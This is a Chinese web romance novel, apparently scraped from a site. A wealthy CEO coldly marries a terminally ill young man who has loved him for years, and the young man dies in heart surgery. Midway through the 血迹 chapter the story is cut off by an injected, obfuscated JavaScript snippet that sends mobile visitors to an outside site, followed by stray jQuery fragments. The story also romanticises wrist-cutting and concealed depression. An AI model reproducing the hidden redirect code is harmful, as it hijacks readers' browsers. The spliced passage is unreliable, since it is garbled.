1.


    沈念站在我办公室里，白得像个鬼。


    窗外暴雨如注，他浑身湿透地出现在祁氏大楼顶层，手里捏着一份文件，指尖因为寒冷而泛着青白。我坐在真皮座椅上，冷眼看着他发抖的样子，心里没有半分怜悯。


    "祁远。"他叫我名字的声音轻得像叹息，"我们结婚吧。"


    我差点笑出声。


    2.


    三小时前，董事会刚通知我，沈氏集团收购了祁氏19%的股份。


    现在，这个沈家的病秧子站在我面前，用最温柔的语气说着最无耻的话："沈家可以停止收购，甚至可以注资......只要你娶我。"


    我慢慢站起身，走到他面前。他比我矮半个头，仰头看我的时候，睫毛上还挂着雨水。


    "你凭什么觉得，"我掐住他的下巴，"我会答应这种荒唐的条件？"


    3.


    他居然笑了。


    这个笑容脆弱得让人心烦，好像我稍微用力他就会碎掉一样。


    "因为你别无选择。"他轻声说，从口袋里掏出一张折叠的纸，"这是医生的诊断书......我活不过三十岁。"


    我松开手，纸片飘落在地上。上面清清楚楚写着：心室缺损晚期，预后不良。


    4.


    "所以？"我冷笑，"你觉得我会可怜一个快死的人？"


    "不是可怜。"他蹲下去捡诊断书，起身时晃了一下，扶住我的办公桌才没摔倒，"是交易。"


    他苍白的指尖推过来一份合同。我扫了一眼，条款优厚得不可思议——沈家注资十亿，只换一纸婚书。


    5.


    "为什么是我？"


    这是我唯一想不通的地方。以沈家的势力，他完全可以找个更听话的傀儡。


    沈念望着窗外的暴雨，侧脸在闪电中忽明忽暗："因为......"


    一道惊雷炸响，吞没了他的后半句话。


    6.


    我在合同上签了字。


    钢笔划破纸张的瞬间，沈念的眼睛亮了一下，像是得到了全世界最珍贵的礼物。这种眼神让我烦躁——他明明是被家族推出来谈判的棋子，装什么深情？


    "婚礼在下个月。"我扔下笔，"别指望我会配合演戏。"


    7.


    他离开时，我注意到他走路有些不稳。


    助理林修小声说："沈少爷好像发烧了......"


    "关我什么事？"我打断他，"去准备新闻发布会。"


    转身时，我瞥见沈念刚才站过的地毯上有一小片水渍——不知道是雨水，还是他疼出来的冷汗。


    8.


    那晚我做了个梦。


    梦见十八岁的大学礼堂，我作为学生代表演讲时，看见最后一排有个苍白的少年。他捂着胸口，眼睛却亮晶晶地望着我。


    醒来时我盯着天花板发呆。


    我根本不记得见过沈念。


    9.


    婚礼前一周，我在医院撞见沈念做检查。


    他躺在诊疗床上，衣服掀到胸口，露出瘦得惊人的身体。医生拿着超声探头在他心口移动，屏幕上那颗心脏畸形得可怕，像只垂死挣扎的蝴蝶。


    我站在门外，胃部突然一阵绞痛。


    10.


    婚礼当天，我故意迟到一小时。


    当我带着宿醉和口红印出现在教堂时，沈念仍然站在红毯尽头，对我露出微笑。


    那笑容刺得我眼睛生疼。


    牧师问"是否愿意"时，我盯着他惨白的嘴唇说："愿意。"


    ——这不是承诺，是诅咒。


    ---


    新婚夜


    ---


    1.


    我带着林妍回家时，沈念正在厨房煮粥。


    米香混着中药味飘满整个客厅，他系着可笑的卡通围裙，见我回来眼睛一亮，又在看到林妍时迅速黯淡下去。


    "这位是......？"他擦着手走过来，声音轻得几乎听不见。


    我搂紧林妍的腰："我女朋友。"


    2.


    沈念的手指绞紧了围裙带子。


    我以为他会哭，会闹，至少该露出受伤的表情。但他只是点点头，转身从橱柜里又拿出一个碗："要......要一起吃吗？"


    林妍嗤笑出声。


    3.


    我把林妍带进客房，故意弄出很大动静。


    床撞在墙上的声音，女人夸张的叫喊，这些足够让任何一个丈夫发疯。但当我中场休息打开门时，发现一碗温热的醒酒汤放在门口。


    瓷碗下压着纸条：[别喝太多，伤胃。]


    4.


    凌晨三点，林妍睡熟后，我鬼使神差走向主卧。


    门虚掩着，沈念蜷缩在床上，怀里抱着我的枕头。月光下他的脸白得透明，嘴唇却泛着不正常的紫。床头柜上摆着五六个药瓶，注射器里的液体还剩一半。


    我突然想起医生说的话："他每天要靠强心针才能入睡。"


    5.


    转身要走时，踢到了地上的笔记本。


    本子摊开的那页写着：[今天祁远带人回家了，心好疼。但没关系，他开心就好。]


    日期是我们结婚第一天。


    我合上本子，发现封面上写着《和祁远的365件小事》。


    6.


    第二天清晨，林妍故意穿着我的衬衫在沈念面前晃。


    "祁总说我穿男装更好看~"她搂着我的脖子撒娇。


    沈念正在煎蛋，闻言手抖了一下，油溅在手背上。他迅速把手藏到背后，继续微笑："咖啡要加糖吗？"


    我盯着他发红的手背，突然没了胃口。


    7.


    林妍走后，我抓起沈念的手腕。


    烫伤已经起泡，在他苍白的皮肤上格外刺眼。


    "你是傻子吗？"我拧开药膏，"不会躲？"


    他怔怔地看着我，眼眶慢慢红了："你......关心我？"


    我猛地松开手："少自作多情。"


    8.


    那晚我故意没回家。


    在酒吧喝到凌晨，手机突然震动。是沈念发来的消息：[降温了，记得加外套。]


    配图是挂在玄关的羊绒大衣。


    我摔了酒杯。


    9.


    回到家时，发现沈念倒在浴室里。


    他蜷缩在瓷砖上，身边一滩暗红的血，手里还攥着要洗的衬衫——我昨天扔给林妍的那件。


    抱起他时，轻得像个纸人。


    10.


    急诊室灯亮起时，我才发现自己的手在抖。


    护士递来病危通知书："家属签字。"


    我盯着"沈念"两个字，突然想起婚礼上他笑着对我说："我愿意。"


    钢笔尖戳破了纸张。


    ---


    病历（祁远视角）


    ---


    1.


    沈念的病历掉在了地上。


    "特发性肺动脉高压......预期生存期2-3年......"


    我盯着那些专业术语，胃部一阵绞痛。医生昨天的话回荡在耳边："他这种情况能活到结婚已经是奇迹。"


    病床上，沈念正在安静地吃苹果。午后阳光透过窗帘照在他脸上，能看清皮肤下青色的血管。


    2.


    "为什么不早说？"我把病历摔在床头柜上。


    苹果块停在沈念嘴边。他慢慢放下叉子："说了......你就会爱我吗？"


    我哑口无言。


    3.


    出院时，沈念执意要自己走。


    他扶着墙，一步一停，喘得像个破旧的风箱。我跟在后面，看着他后颈突出的脊椎骨，突然想起昨晚摸到的肋骨——一根根硌得手疼。


    "我背你。"


    这句话脱口而出，我们俩都愣住了。


    沈念摇摇头，眼睛却亮起来："下次......等我更瘦一点的时候。"


    4.


    回家后，我发现书房被人动过。


    抽屉里的相册摊在桌上，停在大学演讲那一页。照片角落有个模糊的人影，用红笔画了个小心心。


    我猛然想起那个梦。


    5.


    深夜，我闯进主卧。


    沈念吓得坐起来，睡衣领口滑落，露出锁骨下狰狞的手术疤痕。


    "礼堂最后一排，"我盯着他的眼睛，"是不是你？"


    他瞳孔骤缩。


    6.


    答案显而易见。


    那些被我忽略的细节突然串联起来——每年生日准时送达的匿名礼物，公司危机时神秘出现的投资人，还有结婚前夜放在门前的胃药。


    "十年......"沈念声音发颤，"我喜欢你，整整十年。"


    7.


    我摔门而出。


    开车在街上狂飙，最后停在江边。手机里有十几个未接来电，全是沈念。


    最新一条短信：[对不起，我不该说这些。粥在锅里，记得喝。]


    我狠狠捶向方向盘。


    8.


    凌晨回家时，沈念睡在沙发上。


    他怀里抱着我的外套，像是抱着什么珍宝。茶几上摆着胃药和温水，下面压着纸条：[微波炉热三分钟。]


    我蹲下来，第一次认真看他。


    睫毛很长，鼻梁上有颗小痣，嘴角天生微微上扬，就算睡着了也像在笑。


    9.


    那晚我做了个梦。


    梦见沈念站在悬崖边，对我笑着说："祁远，我要走啦。"


    我拼命跑过去，却只抓住一把雪。


    10.


    惊醒时，发现自己站在沈念床前。


    他的手露在被子外，无名指上的婚戒大了一圈，随时会掉下来的样子。


    我轻轻握住那只手，直到天亮。


    ---


    高烧


    ---


    1.


    凌晨三点，我被电话吵醒。


    医院护士机械的声音传来："沈念家属？病人高烧40度，需要立即......"


    我挂断电话，抓起车钥匙冲出门，才发现自己连鞋都没穿。


    2.


    病房里，沈念在输液，整个人陷在白色被单里几乎看不见。护士说他是肺炎引发的心衰，说着递给我一叠缴费单。


    我盯着账单上"病危"两个字，手指不受控制地发抖。


    3.


    "祁...远？"


    沈念醒了，烧得通红的脸上露出惊讶。他想撑起身子，却打翻了床头的水杯。


    我下意识去扶，他触电般缩回手："对不起...弄湿你袖子了......"


    都这种时候了，他还在担心我的西装？


    4.


    医生把我叫到走廊："他免疫系统已经崩溃，这次很危险。"


    "能治好吗？"


    医生奇怪地看我一眼："祁先生，您太太的病从开始就是绝症。"


    太太。这个词刺得我心口一疼。


    5.


    回到病房，沈念正艰难地够掉在地上的药瓶。


    我抢先捡起来，发现是强效止痛药，用量栏被修改过——他故意少吃了三分之二的剂量。


    "疼为什么不吃药？"


    他低头玩手指："吃多了...会睡着...就看不到你了......"


    6.


    那晚我睡在病房沙发上。


    半夜被啜泣声惊醒，看见沈念蜷缩成一团，死死咬着被角不让自己出声。


    我冲过去掀开被子——他胸口一片青紫，自己掐出来的。


    "太疼了......"他满脸是泪，"对不起...吵醒你了......"


    7.


    天亮时，高烧终于退了。


    沈念睡着的样子像个孩子，手里还攥着我的领带。护士来换药时小声说："昨晚您睡着后，他盯着您看了好久......"


    我看向窗外，阳光刺得眼睛发酸。


    8.


    出院那天，沈念小心翼翼地问："能...能去趟超市吗？"


    他在生鲜区挑了很久，选了最贵的牛排。结账时我才发现，今天是我生日。


    9.


    厨房传来焦糊味。


    沈念手忙脚乱地抢救煎糊的牛排，额头上一层细汗。他心脏不好不能久站，却固执地要亲手做这顿饭。


    我突然走过去关掉火："出去吃。"


    他眼睛一下子暗了："我搞砸了......"


    "不是，"我扯松领带，"...我怕你累着。"


    10.


    那晚我第一次吃光他夹来的菜。


    他笑得眼睛弯弯，却在低头时咳了满手血。我装作没看见，只是递过去的手帕抖得不像话。


    ---


    偷窥


    ---


    1.


    我开始不自觉观察沈念。


    他在花园看书时，阳光会把他的睫毛照成金色；他喝药时总是先深吸一口气，像小孩害怕打针；他半夜疼醒时会咬着枕头小声数数，数到一百就不哭了。


    这些细节像毒瘾，越注意越无法自拔。


    2.


    今天林妍来公司找我。


    她涂着鲜红指甲的手搭在我肩上："祁总，那个病秧子还没死啊？"


    我突然反胃，让保安把她扔了出去。


    3.


    回家路上，我鬼使神差去了药店。


    导购员热情推荐护心补品，我买了最贵的那种。结账时看到柜台旁的软糖，想起沈念吃药后总要含一颗。


    "这个也要。"


    4.


    沈念看到补品时愣住了。


    "给...我的？"


    我粗暴地拆开包装："爱吃不吃。"


    他抱着盒子笑得像个傻子，当晚就把补品整齐码进药柜，还拍了张照片。


    5.


    半夜我路过主卧，听见他在打电话：


    "医生，如果做心脏移植...能活多久？"


    电话那头说了什么，沈念的声音突然轻快起来："五年...够啦，谢谢您！"


    我攥紧门把手，金属硌得掌心生疼。


    6.


    第二天，我去了趟医院。


    抽血时护士问："您是患者什么人？"


    我张了张嘴，突然发现说不出"丈夫"这个词。


    "......家属。"


    7.


    配型结果出来了：不匹配。


    医生安慰我："亲属匹配概率本来就低......"


    我摔了报告单："那就全国找！全世界找！"


    整个诊室鸦雀无声。


    8.


    回家时，沈念正在整理我的衬衫。


    他踮脚够衣架的样子摇摇欲坠，我冲过去一把扶住。他吓得一颤，转头看到是我，眼睛瞬间亮了："你回来啦......"


    这个笑容太刺眼，我猛地吻住他。


    9.


    他嘴唇很凉，带着药味的苦。


    当我松开时，他整个人都在发抖，手指紧紧抓着我衣袖："为...为什么......"


    "闭嘴。"我又吻上去，"不许问。"


    10.


    那晚我睡在主卧。


    沈念缩在床角不敢动，呼吸轻得像猫。半夜我把他捞进怀里，摸到一手骨头。


    他在梦里小声呓语："祁远...别讨厌我......"


    我抱得更紧，直到天亮。


    ---


    急诊


    ---


    1.


    电话响起时，我正在开会。


    "沈先生晕倒在超市......"


    我冲出会议室，闯了七个红灯。赶到医院时，看见沈念躺在急诊床上，手腕连着心电监护，胸前贴满电极片。


    那曲线微弱得几乎是一条直线。


    2.


    "突发室颤，抢救及时。"医生递来病危通知，"需要签......"


    我直接撕了通知书："救他！多少钱都行！"


    医生看我的眼神像看疯子："祁先生，钱买不来命。"


    3.


    透过ICU玻璃，我看到沈念身上插满管子。


    护士正在抽动脉血，他疼得皱眉，却还对我做口型：对...不...起...


    我一拳砸在墙上。


    4.


    翻他手机找医保卡时，发现相册全是我的照片。


    睡着的，看报纸的，甚至只是背影。最近一张是昨天，我在阳台抽烟，他配文：[今天祁远回家了，开心。]


    日期是我们结婚一周年。


    5.


    医生允许探视时，沈念第一句话是："公司...没事吧？"


    都这种时候了，他还想着这个？


    "闭嘴。"我握住他冰凉的手，"省点力气。"


    他乖乖点头，眼睛却一直看着我，像要把我刻进瞳孔里。


    6.


    那晚我睡在ICU外长椅上。


    梦见沈念穿着校服站在阳光下，对我伸出手："祁远，跟我玩好不好？"


    醒来时枕头是湿的。


    7.


    转普通病房那天，沈念偷偷拔了输液针。


    护士尖叫着冲进来时，他正艰难地够地上的笔记本："要...要记下来......"


    我捡起本子，最新一页写着：[祁远为我哭了，心疼但开心。]


    字迹歪歪扭扭，还有点滴晕开的痕迹。


    8.


    出院时，我在停车场撞见抽血的护士。


    "您这周第三次了，"她叹气，"献血间隔太短会......"


    看到我，她立刻闭嘴走开。


    沈念疑惑地抬头："怎么了？"


    "没事。"我把他抱上车，"回家。"


    9.


    回家路上，沈念睡着了。


    他头靠着车窗，阳光透过睫毛投下细碎阴影。我轻轻把他的脑袋拨到肩上，他无意识蹭了蹭，像只小猫。


    导航突然提示："前方持续直行，余生道路。"


    10.


    那天起，我书房的抽屉里多了一份器官捐献协议。


    受益人：沈念。


    签字笔迹力透纸背。


    ---


    血迹


    ---


    1.


    林妍闯进家门时，我正在给沈念熬粥。


    她甩出一张孕检报告："我怀了你的孩子！"


    沈念手里的药碗掉在地上，褐色药汁溅满裤脚。他蹲下去捡碎片，手指被割出血也浑然不觉。


    "恭喜。"他声音轻得像羽毛，"要...要办婚礼吗？"


    2.


    我盯着沈念流血的手指，突然暴怒："假的！"


    林妍尖叫着扑向沈念："都是你这个病痨鬼！"


    寒光闪过——她掏出了水果刀。


    3.


    时间仿佛静止。


    我看到刀锋划破沈念的手臂，鲜血顺着他苍白的手腕滴落。他却不躲不闪，只是呆呆看着血珠，好像那是什么有趣的东西。


    "沈念！！"


    我冲过去时，他已经软软倒下去。


    4.


    急诊室里，医生掀开沈念的衣服。


    那具身体瘦得可怕，胸口手术疤像条蜈蚣，新伤旧伤叠在一起。最刺眼的是左腕——几道淡色旧疤，明显是自杀痕迹。


    "病人有严重抑郁史，"医生皱眉，"家属不知道吗？"


    我如遭雷击。


    5.


    沈念醒来时，第一反应是摸左手腕。


    发现纱布后，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455307|183594||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他惊慌地看我："不是...不是你想的那样！那是以前......"


    "什么时候？"我声音嘶哑。


    他低下头："...你带第一个人回家那天。"


    6.


    我摔了病房的花瓶。


    碎片溅到病床上，沈念下意识用身体护住我。这个动作彻底击垮了我——他快死了还在保护我。


    "为什么不说？！"我揪住他衣领，"为什么什么都不说？！"


    他笑了，眼泪却掉下来："说什么呢...说我爱你爱到要死了吗？"


    7.


    那晚我跪在医生办公室："用我的心脏。"


    "配型不成功......"


    "那就把我的血全换给他！骨头拆了也行！"


    老医生摘下眼镜："祁先生，医学不是童话。"


    8.


    回到病房，沈念正在写东西。


    看到我，他慌忙合上本子。我抢过来一看，是封信：[给祁远的第一百封信：今天你为我哭了，我好心疼......]


    后面被泪水晕开，字迹模糊。


    9.


    我掀开被子躺上去，把他冰凉的脚捂在怀里。


    他僵着身子不敢动："你...你不嫌我脏吗？"


    这句话彻底撕裂了我。


    我吻着他手腕的疤，尝到血腥和泪水的咸："脏的是我。"


    10.


    天亮时，沈念睡着了。


    我轻轻抽出他攥着的衣角，在晨光中凝视他的脸。


    这张脸我看了十年，却第一次真正看清。


    ---


    体温


    ---


    1.


    我开始睡在主卧。


    不是床上，而是在床边放了张躺椅。沈念每晚要吃三次止痛药，我怕他半夜疼醒没人知道。


    有天深夜，我发现他在偷偷数药。


    "够撑到手术了......"他小声嘀咕，把药片分成两堆。


    2.


    医生给的生存概率只有30%。


    我砸了办公室，却听见沈念在走廊轻声问："如果放弃手术...能活多久？"


    "三个月。"医生回答。


    沈念点点头："够了。"


    我冲进去揪住他衣领："你他妈敢放弃试试！"


    他仰头看我，眼睛亮得惊人："祁远，你在乎吗？"


    3.


    那晚我做了个噩梦。


    梦见沈念躺在手术台上，胸腔大开，里面空空如也。


    "你把我的心弄丢了。"他说。


    惊醒时，发现沈念正艰难地伸手想给我盖毯子。


    4.


    我开始学着做饭。


    第一次煎蛋就糊了锅，沈念却吃得干干净净。他嘴角沾着焦黑的蛋渣，笑着说："好吃。"


    我伸手擦掉他嘴角的残渣，突然哽咽："骗子。"


    5.


    沈念的咳血越来越频繁。


    有天清晨，我发现他趴在马桶边吐血，白色瓷砖上溅满鲜红。他想藏，却已经没力气站起来。


    我抱起他时，他小声说："脏......"


    "闭嘴。"我把他搂得更紧，"再说话亲你了。"


    6.


    手术前一周，沈念突然精神很好。


    他拉着我去阳台看新买的摇椅："等我们老了，就坐在这里晒太阳。"


    阳光照在他透明的脸上，我喉咙发紧："嗯。"


    我们都知道，这是回光返照。


    7.


    手术同意书签字的瞬间，钢笔划破了纸张。


    沈念轻轻握住我的手："别怕。"


    到底是谁在安慰谁？


    8.


    最后一晚，沈念发着高烧给我写信。


    我假装睡着，听见他边写边哭。凌晨三点，他爬下床，把信藏进抽屉最底层。


    然后他跪在床边，小心翼翼地吻了我的手。


    9.


    送他去手术室的路上，他一直看着我笑。


    "祁远，"进门前他突然说，"其实那天在礼堂...你对我笑过的。"


    我红着眼睛摇头："没有。"


    "有的。"他固执地说，"在我梦里。"


    10.


    手术灯亮起的瞬间，我终于跪在了地上。


    三十二年来第一次祈祷：


    "把我的命给他......"


    ---


    手术灯


    ---


    1.


    手术进行了八小时。


    我在等候室砸了三台咖啡机，最后被保安按住。墙上"肃静"的牌子摇摇欲坠，像我的心跳。


    2.


    中途有护士冲出来要血。


    我卷起袖子时，她摇头："要O型阴性，库存不够了。"


    我盯着自己手臂上的针孔——这三个月的频繁献血，原来都是徒劳。


    3.


    林修带来了沈念的日记本。


    最新一页写着：[如果手术失败，请把我的心跳录音交给祁远。]


    下面粘着个小录音笔。


    我死死攥着它，直到掌心出血。


    4.


    医生第三次出来时，白大褂上全是血。


    "心脏停跳两次......"


    我抓住他衣领："救他！用我的心脏！现在挖出来！"


    护士给我打了镇静剂。


    5.


    朦胧中，我看见十八岁的沈念。


    他躲在礼堂最后一排，偷偷给我拍照。我走过去问他是哪个系的，他红着脸跑开，差点摔了一跤。


    原来我真的见过他。


    6.


    醒来时，手术灯还亮着。


    林修说我又哭又闹，打了三针才安静下来。我摸到口袋里的录音笔，突然不敢按下播放键。


    7.


    灯灭了。


    主刀医生走出来，口罩上方的眼睛布满血丝。


    我扶着墙站起来，双腿抖得不像自己的。


    "对不起......"


    世界在那一刻静止。


    8.


    他们不让我看遗体。


    "太惨烈了......"护士哭着说，"他一直撑着等您来......"


    我踹开手术室的门，看见白布下隆起的轮廓。


    那么小的一团，还不如我怀里的枕头大。


    9.


    掀开白布的瞬间，我吐了出来。


    沈念的胸口敞开着，里面空空如也。和梦里一模一样。


    "心呢？！"我疯了一样质问医生，"他的心呢？！"


    "按患者生前意愿......"医生递来一份文件，"捐给了一位先天性心脏病患儿。"


    10.


    葬礼那天，我抱着骨灰盒睡了一夜。


    录音笔循环播放着他的心跳声：


    咚、咚、咚。


    像在说，爱你、爱你、爱你。


    ---


    白头


    ---


    1.


    沈念走后第三十二天，我收到了他的信。


    365封，整整齐齐码在纸箱里。最上面那封贴着便签：[每天拆一封，别贪心。]


    我一天拆光了所有。


    2.


    第42封信：[今天你带林妍回家了，我躲在浴室割腕，最后还是包扎起来了。因为想到明天还能见到你。]


    第179封信：[咳血越来越严重，要是死在床上会弄脏床单，还是浴室好。]


    最后一封：[祁远，这辈子最幸运的事，就是骗你结了婚。]


    3.


    我开始失眠。


    整夜整夜躺在主卧，闻着枕头残留的药香。有天半夜，我在镜子里看到沈念站在身后。


    转头时，只有月光静静洒在地上。


    4.


    春天来了，阳台的摇椅积了灰。


    我每天擦一遍，然后坐在上面看日落。沈念说过，黄昏时这里能看到最漂亮的晚霞。


    他骗人。我看到的全是灰色。


    5.


    整理遗物时，在书柜后发现个小铁盒。


    里面装着我的旧照片，演讲比赛的奖状，甚至是我随手扔掉的咖啡杯。每件物品都贴着便签，记录着收集的日期。


    最早的一张是我大一时的课表，背面写着：[今天又见到祁远了，开心。]


    日期是我们相遇的前三年。


    6.


    我渐渐忘了沈念的样子。


    某天清晨，我惊恐地发现已经记不清他睫毛的弧度。翻遍全家才在抽屉底找到一张拍立得——他站在厨房对我笑，背后是煎糊的鸡蛋。


    照片背面写着：[给祁远的第一顿饭，失败啦。]


    7.


    沈念走后第一年，我去了他常去的教堂。


    神父递给我一个信封："沈先生留给您的。"


    里面是两张去冰岛的机票，日期是我们结婚一周年。


    [听说那里能看到极光，想和你一起看。]


    8.


    我独自去了冰岛。


    极光出现那晚，导游说对着绿光许愿很灵验。


    我跪在雪地里，哭得像个孩子："把沈念还给我......"


    风雪吞没了乞求。


    9.


    三十二年后，我在摇椅上闭上了眼睛。


    怀里抱着沈念的骨灰盒和那本《365件小事》。


    恍惚间，看见十八岁的他站在阳光下对我伸出手：


    "祁远，跟我玩好不好？"


    10.


    葬礼很热闹。


    人们说祁总裁一生未婚，与骨灰盒同眠，真是怪人。


    没人知道，我们终于白头偕老。


    ---


    [全文完]